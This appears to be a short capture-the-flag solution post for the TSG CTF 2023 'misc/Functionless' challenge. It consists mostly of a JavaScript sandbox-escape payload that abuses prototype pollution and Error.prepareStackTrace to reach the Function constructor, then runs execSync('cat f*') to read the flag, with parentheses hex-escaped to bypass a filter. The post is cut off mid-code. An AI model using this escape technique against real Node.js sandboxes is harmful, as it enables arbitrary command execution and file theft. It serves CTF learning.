arkark

TSG CTF 2023 - misc/Functionless

• 5 solves / 365 pts
• Author: n4o847
• CTFtime: https://ctftime.org/event/2013/

My solution:

$ nc 34.84.217.62 30002

lebr0nli

let code = `
Function=this.constructor.constructor;
Array.prototype.toString=Object.prototype.toString;
Array.prototype[Symbol.toStringTag]="=1];console.log(process.mainModule.constructor._load('child_process').execSync('cat f*')+'');//";
Object.prototype.prepareStackTrace=Function;
e=new Error;
x={toString:e.stack}+'';
`.replaceAll('\n', '').replaceAll('(', '\\x28').replaceAll(')', '\\x29');
console.log(code);
if (process.env.DEBUG) {